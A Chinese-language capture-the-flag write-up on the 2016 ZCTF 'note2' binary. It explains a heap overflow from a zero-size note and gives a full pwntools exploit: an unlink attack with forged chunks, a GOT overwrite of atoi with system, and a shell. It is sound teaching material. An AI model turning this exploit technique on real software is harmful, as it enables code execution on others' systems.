Unlink——2016 ZCTF note2解析


簡介

Unlink是經典的堆漏洞,剛看到這個漏洞不知道如何實現任意代碼執行,所以找了一個CTF題,發現還有一些細節的地方沒有講的很清楚,題目在這里。自己也動手寫一遍,體驗一下

題目描述

首先,我們先分析一下程序,在checksec中檢查文件,發現是64位程序,然后放入IDA中,f5,,得出主程序是這樣:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  ReadStr((char *)&name, 64LL, 10);
  puts("Input your address:");
  ReadStr((char *)&address, 96LL, 10);
  while ( 1 )
  {
    switch ( selectchoice() )
    {
      case 1:
        NewNote();
        break;
      case 2:
        ShowNote();
        break;
      case 3:
        EditNote();
        break;
      case 4:
        DeleteNote();
        break;
      case 5:
        puts("Bye~");
        exit(0);
        return;
      case 6:
        exit(0);
        return;
      default:
        continue;
    }
  }
}
主程序

主程序是一個while循環,在selectchoice中輸出一個菜單,然后讀取一個輸入判斷

int selectchoice()
{
  puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return inputNum();
}
selectchoice
int inputNum()
{
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ReadStr(&nptr, 16LL, 10);
  return atoi(&nptr);
}
inputNum

下面是4個主要功能,添加 note,size 限制為 0x80,size 會被記錄,note 指針會被記錄。

int NewNote()
{
  char *note; // ST08_8
  unsigned int v2; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]

  if ( (unsigned int)NoteNum > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = inputNum();
  if ( size > 128 )
    return puts("Too long");
  note = (char *)malloc(size);
  puts("Input the note content:");
  ReadStr(note, size, '\n');
  RemovePercent(note);
  ptr[NoteNum] = (__int64)note;
  Len[NoteNum] = size;
  v2 = NoteNum++;
  return printf("note add success, the id is %d\n", v2);
}
NewNote

溢出點代碼

unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}
View Code

展示 note 內容。

int ShowNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
      LODWORD(v0) = printf("Content is %s\n", ptr[v2]);
  }
  return v0;
}
ShowNote

編輯 note 內容,其中包括覆蓋已有的 note,在已有的 note 后面添加內容。

unsigned __int64 EditNote()
{
  char *v0; // rax
  char *v1; // rbx
  int v3; // [rsp+8h] [rbp-E8h]
  int v4; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v6; // [rsp+18h] [rbp-D8h]
  char dest; // [rsp+20h] [rbp-D0h]
  char *v8; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+D8h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( NoteNum )
  {
    puts("Input the id of the note:");
    v3 = inputNum();
    if ( v3 >= 0 && v3 <= 3 )
    {
      src = (char *)ptr[v3];
      v6 = Len[v3];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v4 = inputNum();
        if ( v4 == 1 || v4 == 2 )
        {
          if ( v4 == 1 )
            dest = 0;
          else
            strcpy(&dest, src);
          v0 = (char *)malloc(0xA0uLL);
          v8 = v0;
          *(_QWORD *)v0 = 'oCweNehT';
          *((_QWORD *)v0 + 1) = ':stnetn';
          printf(v8);
          ReadStr(v8 + 15, 144LL, 10);
          RemovePercent(v8 + 15);
          v1 = v8;
          v1[v6 - strlen(&dest) + 14] = 0;
          strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, &dest);
          free(v8);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v9;
}
EditNote

釋放 note。

int DeleteNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
    {
      free((void *)ptr[v2]);
      ptr[v2] = 0LL;
      Len[v2] = 0LL;
      LODWORD(v0) = puts("delete note success!");
    }
  }
  return v0;
}
DeleteNote

題目解答

仔細分析后,可以發現程序有以下幾個問題

  1. 在添加 note 時,程序會記錄 note 對應的大小,該大小會用於控制讀取 note 的內容,但是讀取的循環變量 i 是無符號變量,執行size-1>i時,如果size=0,則會永遠成立。所以比較時都會轉換為無符號變量,那么當我們輸入 size 為 0 時,glibc 根據其規定,會分配 0x20 個字節,但是程序讀取的內容卻並不受到限制,故而會產生堆溢出。
  2. 程序在每次編輯 note 時,都會申請 0xa0 大小的內存,但是在 free 之后並沒有設置為 NULL。
  3. 在上述程序中有一個全局變量ptr,用來記錄每次分配的內存地址,在.bss段中,地址為0x0000000000602120。

其中這三個 chunk 申請時的大小分別為 0x80,0,0x80,chunk1 雖然申請的大小為 0,但是 glibc 的要求 chunk 塊至少可以存儲 4 個必要的字段 (prev_size,size,fd,bk),所以會分配 0x20 的空間。同時,由於無符號整數的比較問題,可以為該 note 輸入任意長的字符串。

這里需要注意的是,chunk0 中一共構造了兩個 chunk

  • chunk ptr[0],這個是為了 unlink 時修改對應的值。
  • chunk ptr[0]'s nextchunk,這個是為了使得 unlink 時的第一個檢查滿足。

利用代碼:

# coding=UTF-8
from pwn import *

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)


def shownote(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))


p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18

gdb.attach(p)
p.interactive()

deletenote(2)




# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()
利用代碼

代碼中首先分配了三個note,當構造完三個 note 后,堆的基本構造如圖 1 所示。

                                   +-----------------+ high addr
                                   |      ...        |
                                   +-----------------+
                                   |      'b'*8      |
                ptr[2]-----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|------------
                                   |    unused       |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+  chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
                                   +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           圖1

釋放 chunk1 - 覆蓋 chunk2 - 釋放 chunk2

對應的代碼如下

# edit the chunk1 to overwrite the chunk2
deletenote(1) content = 'a' * 16 + p64(0xa0) + p64(0x90) newnote(0, content) # delete note 2 to trigger the unlink # after unlink, ptr[0] = ptr - 0x18 deletenote(2) 

首先釋放 chunk1,由於該 chunk 屬於 fastbin,所以下次在申請的時候仍然會申請到該 chunk,同時由於上面所說的類型問題,我們可以讀取任意字符,所以就可以覆蓋 chunk2,覆蓋之后如圖 2 所示。

+-----------------+high addr
                                   |      ...        |
                                   +-----------------+
                                   |   '\x00'+'b'*7  |
                ptr[2]-----------> +-----------------+ chunk 2
                coverValue1        |    size=0x90    |
                                   +-----------------+
                coverValue2        |    0xa0         |
                                   +-----------------|------------
                                   |    'a'*8        |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+ chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
               fake chunk--->      +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           圖2



和圖1相比,經歷了chuck1的分配和釋放,造成了兩個值的變更,就是圖2中的coverValue1和coverValue12,coverValue1導致chunk2的前一個虛擬地址空間連續塊由以及分配變為空閑,所以在釋放chunk2的時候,會造成合並。
而合並操作進行時,會根據coverValue2來確定前一個塊的大小,coverValue2使前一個塊變為偽造的chunk,就是圖2中fake chunk處,fakefd和fakebk則是偽造的,必須保證unlink的檢測條件,fakefd = ptr - 0x18,fakebk = ptr - 0x10
圖2中的fake ptr[0] chunk's nextchunk是根據fake chunk的size來確定的,也就是0x60,第二個條件要繞過去就需要構造第二個chunk,在fake chunk位置0x60之后的位置放置一個pre_size為0x60的chunk
在unlink之后,ptr被修改為ptr-0x18,注意,ptr的值就是在查看源碼時發現的,存放第一個note的位置,在向note寫入3個字節后,ptr的值又會被覆蓋一次,所以可以使用一個像note的寫入操作達到控制ptr為任意值。然后利用note的寫操作更改GOT
在選擇覆蓋函數的GOT時,選擇atoi,因為在switch語句之前會讀入一個選擇,用到atoi函數,並且程序沒有用到system函數,所以必須計算兩個函數的偏移才能得出system的libc庫位置,最后覆蓋也選用這個函數


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM